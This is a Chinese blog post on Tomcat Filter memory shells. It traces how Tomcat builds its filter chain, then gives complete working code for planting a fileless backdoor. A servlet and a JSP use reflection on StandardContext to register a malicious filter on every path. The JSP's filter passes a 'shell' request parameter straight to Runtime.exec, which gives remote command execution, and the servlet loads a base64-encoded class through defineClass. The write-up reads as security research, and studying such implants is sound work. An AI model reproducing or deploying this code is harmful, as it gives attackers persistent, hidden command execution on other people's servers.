首页 > 系统相关 >tomcat Filter内存马

tomcat Filter内存马

时间:2023-07-04 22:55:05浏览次数:44  
标签:Web tomcat Filter 内存 ServletContext apache import StandardContext

idea调试的时候加入源代码

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.81</version>
    <scope>provided</scope>
</dependency>

Servlet、Listener、Filter 由 javax.servlet.ServletContext 去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。

Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能。

ServletContext

它会为每个web程序都创建一个对应的ServletContext对象,它代表当前的web应用。 事实上SpringMVC封装的ApplicationContext 以及Struts2封装的ApplicationContext里面都是保存着原本的ServletContext。

作用:

  • Web应用范围内存取共享数据;
  • 访问web应用的静态资源;
  • Servlet对象之间通过ServletContext对象来实现通讯。

ServletContext跟StandardContext的关系

  1. StandardContext

    • StandardContext是Tomcat服务器中的一个组件,用于管理Web应用程序的上下文(Context)。
    • 它是javax.servlet.ServletContext接口的实现类,提供了一些额外的功能和管理能力。
    • StandardContext负责加载和初始化Web应用程序的配置信息,包括Servlet、Filter、Listener等组件的注册和管理。
    • 它还提供了对Web应用程序的生命周期管理,例如启动、停止和重新加载等操作。
  2. ServletContext

    • ServletContext是Java Servlet规范中的一个接口,表示Web应用程序的上下文。
    • 每个Web应用程序都有一个唯一的ServletContext实例,用于在应用程序内共享信息和资源。
    • ServletContext提供了一些方法,用于获取Web应用程序的初始化参数、访问应用程序范围的属性、读取Web应用程序的配置信息等。
    • 它还提供了一些与Web容器交互的方法,例如获取请求调度器、获取资源的真实路径等。

总结:
StandardContext是Tomcat服务器中用于管理Web应用程序的上下文的实现类,而ServletContext是Java Servlet规范中定义的用于表示Web应用程序上下文的接口。它们的主要区别在于StandardContext提供了更多的管理和生命周期控制功能,而ServletContext则提供了访问应用程序范围的属性和配置信息的方法。

Tomcat 中有 4 类容器组件,从上至下依次是:

  • Engine,实现类为 org.apache.catalina.core.StandardEngine
  • Host,实现类为 org.apache.catalina.core.StandardHost
  • Context,实现类为 org.apache.catalina.core.StandardContext
  • Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

Filter 内存马

Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。

通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:

  1. 使用 ServletContext 的 addFilter/createFilter 方法注册;
  2. 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述);
  3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。

追溯Filter的doFilter:

  1. FilterDemo重写了doFilter,如何执行到FilterDemo的doFilter?

  2. ApplicationFilterChain的doFilter被执行,执行了internalDoFilter;

  3. filters[]是存放ApplicationFilterConfig的地方,包含filterDef和fitler对象,取出每个元组,赋值给filterConfig;

    Filter filter = filterConfig.getFilter();

  4. 然后执行了filter.doFilter(request, response, this);

  5. filters[]是在哪里赋值的呢?

  6. 在StandardWrapperValve的invoke中

    ApplicationFilterChain filterChain =
    ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);然后执行了filterChain.doFilter。

    看看createFilterChain里面做了什么?

  7. 在ApplicationFilterFactory的createFilterChain中

    ApplicationFilterChain filterChain = null;

    StandardContext context = (StandardContext) wrapper.getParent();

    FilterMap filterMaps[] = context.findFilterMaps();从StandardContext配置文件中获取filter,放入filterMaps

    这里是根据前面获取的filterMaps循环来获取的

    for (FilterMap filterMap : filterMaps) 
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                        context.findFilterConfig(filterMap.getFilterName());
    filterChain.addFilter(filterConfig);
    
  8. filterChain.addFilter(filterConfig),最后return filterChain。

  9. 在ApplicationFilterChain的addFilter中做了什么?filters[n++] = filterConfig;所以最终filters[]里面会有所有filter的filterConfig;

FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息
FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern

fiterConfig的内容都是从context中得到,因此只要我们能控制context的内容就行了

动态注册Filter

经过上面的分析,我们可以总结出动态注册Filter的流程:

  1. 获取上下文对象StandardContext
  2. 创建恶意Filter
  3. 构造FilterDef封装filter
  4. 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
  5. 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中
package com.example.webshellfilter;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;

import javax.servlet.Filter;
import javax.servlet.ServletContext;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

@WebServlet(name = "filterServlet", value = "/filterServlet")
public class FilterServletDemo extends HttpServlet {
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        try {
            //1、通过request获取ServletContext类
            //通过request获取servletContext
            ServletContext servletContext = request.getServletContext();
            //其实这里是ApplicationContextFacade的类
            System.out.println(servletContext.getClass());
            Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
            applicationContextFacadefield.setAccessible(true);
            //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext
            ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
            //通过applicationContext对象获取StandardContext
            Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
            standardContextfield.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);


            //将Filter对象通过反射实现加载
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            //2、在Java中,可以使用defineClass方法将一个类动态地注入到当前的JVM中,这里将filter类注入进去
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            BASE64Decoder base64Decoder = new BASE64Decoder();
            byte[] code = base64Decoder.decodeBuffer("yv66vgAAADQAWg....");
            defineClass.invoke(classLoader,code, 0, code.length);

            //3、添加filterDef
            System.out.println(Class.forName("FilterDemo").getName());
            Filter filterDemo = (Filter) Class.forName("FilterDemo").newInstance();
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filterDemo);
            filterDef.setFilterName("FilterDemo");
            standardContext.addFilterDef(filterDef);

            //4、添加filterMap
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName("FilterDemo");
            filterMap.addURLPattern("/*");
            standardContext.addFilterMap(filterMap);

            //添加到standardContext的filterConfigs中
            //反射获取filterConfigs
            //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
            Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
            declaredConstructor.setAccessible(true);
            hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));

            PrintWriter out = response.getWriter();
            out.println("over");

        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

jsp实现

<%@ page language="java" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.IOException" %>
<html>
<head>
    <title>Get Request Object in JSP</title>
</head>
<body>
<h1>Get Request Object in JSP</h1>
<%
    class FilterDemo implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("初始加完成");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            servletRequest.setCharacterEncoding("utf-8");
            servletResponse.setCharacterEncoding("utf-8");
            servletResponse.setContentType("text/html;charset=UTF-8");
            System.out.println(servletRequest.getParameter("shell"));
            Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
            System.out.println("过滤中。。。");
            filterChain.doFilter(servletRequest,servletResponse);
        }

        @Override
        public void destroy() {
            System.out.println("过滤结束");
        }
    }

    //1、通过request获取ServletContext类
    //通过request获取servletContext
    ServletContext servletContext = request.getServletContext();
    //其实这里是ApplicationContextFacade的类
    System.out.println(servletContext.getClass());
    Field applicationContextFacadefield = servletContext.getClass().getDeclaredField("context");
    applicationContextFacadefield.setAccessible(true);
    //获取servletContext对象中的context的值,因为是ApplicationContextFacade所以获取到的context是ApplicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadefield.get(servletContext);
    //通过applicationContext对象获取StandardContext
    Field standardContextfield = applicationContext.getClass().getDeclaredField("context");
    standardContextfield.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextfield.get(applicationContext);

    //3、添加filterDef
    FilterDemo filterDemo = new FilterDemo();
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filterDemo);
    filterDef.setFilterName("FilterDemo");
    filterDef.setFilterClass(filterDemo.getClass().getName());
    standardContext.addFilterDef(filterDef);

    //4、添加filterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("FilterDemo");
    filterMap.addURLPattern("/*");
    standardContext.addFilterMap(filterMap);

    //添加到standardContext的filterConfigs中
    //反射获取filterConfigs
    //由于ApplicationFilterConfig经Final修饰,且构造方法为静态方法,无法通过new实例化,需通过反射获取ApplicationFilterConfig构造方法并实例化后添加入filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    Constructor<?> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructors()[0];
    declaredConstructor.setAccessible(true);
    hashMap.put("FilterDemo",declaredConstructor.newInstance(standardContext,filterDef));

    System.out.println("over");

%>
</body>
</html>

标签:Web,tomcat,Filter,内存,ServletContext,apache,import,StandardContext
From: https://www.cnblogs.com/vpandaxjl/p/17527298.html

相关文章

  • Java虚拟机(JVM)内存底层分析
    对象和类的详解类:我们叫做class。对象:我们叫做Object,instance(实例)。总结1.类可以看成一类对象的模板,对象可以看成该类的一个具体实例。2.类是用于描述同一类型的对象的一个抽象概念,类中定义了这一类对象所应具有的共同的属性、方法。类的定义:对于一个类来说,有三种成员:属......
  • java调用filter,map方法
    java的集合类,没有直接实现filter,map这些函数式方法,要调用这些方法,可以使用Java8的StreamAPI详细使用可参考:Java8中Stream详细用法大全 Java8的StreamAPI的坑1.没有直接的findObj方法findFirst和findAny都不支持传入条件要从list中查找一个对象,只能通过filte......
  • Java获取CPU占用率、内存占用率
    @TestpublicvoidtestSystemUsage(){finallongGB=1024*1024*1024;while(true){OperatingSystemMXBeanoperatingSystemMXBean=ManagementFactory.getOperatingSystemMXBean();StringosJson=JSON.toJSO......
  • docker查看jvm内存占用
    一。进入docker容器的宿主机,查看运行指定镜像的容器id(结果的第一列)dockerps|grepmyImageName(或dockerps|grepjava)二。进入容器内部:dockerexec-itcontainerIdsh三。直接输入top命令:可看到基本的容器占用的信息:pid、vsz、cpu、command等。(ctrl+c或q,退出top)四......
  • 54.new和delete的实现原理, delete是如何知道释放内存的大小的?
    54.new和delete的实现原理,delete是如何知道释放内存的大小的?1、new简单类型直接调用operatornew分配内存;而对于复杂结构,先调用operatornew分配内存,然后在分配的内存上调用构造函数;对于简单类型,new[]计算好大小后调用operatornew;对于复杂数据结构,new[]先调用operatornew[]......
  • Apache负载均衡+Tomcat集群
    APACHE2.2.8+TOMCAT6.0.14配置负载均衡目标:使用apache和tomcat配置一个可以应用的web网站,要达到以下要求:1、 Apache做为HttpServer,后面连接多个tomcat应用实例,并进行负载均衡。2、 为系统设定Session超时时间,包括Apache和tomcat......
  • Apache HTTP Server 与 Tomcat 的三种连接方式介绍
    首先我们先介绍一下为什么要让Apache与Tomcat之间进行连接。事实上Tomcat本身已经提供了HTTP服务,该服务默认的端口是8080,装好tomcat后通过8080端口可以直接使用Tomcat所运行的应用程序,你也可以将该端口改为80。既然Tomcat本身已经可以提供这样的服务,我们为什么还......
  • 12.被free回收的内存是立即返还给操作系统吗?
    不是的,被free回收的内存会首先被ptmalloc使用双链表保存起来,当用户下一次申请内存的时候,会尝试从这些内存中寻找合适的返回。这样就避免了频繁的系统调用,占用过多的系统资源。同时ptmalloc也会尝试对小块内存进行合并,避免过多的内存碎片。......
  • 记一次python消费kafka进程持续消耗内存问题
    前提:python写了一个kafka消费的脚本,脚本中消费kafka消息并将消费到的数据放在一个线程池中进行业务代码处理,使用supervisor管理这个脚本进程遇到问题:这个进程占用的内存会越来越大,知道将机器内存消耗完排查:网上找了一堆内存分析工具,好像都需要预埋代码,或者重新启动一个进程,全扯......
  • BloomFilter总结
    BloomFilter是用来判断,某元素是否曾经来访过的有状态数据结构。优点:1.写入、查询效率都非常高,得益于元素在写入、查询的寻址过程,采用的都是n个hash函数,其时间复杂度是O(1).2.另外,底层用于存储状态的是bitArray结构,非常省空间。缺点:1.对于两个不同元素,由于hash碰撞无法避免......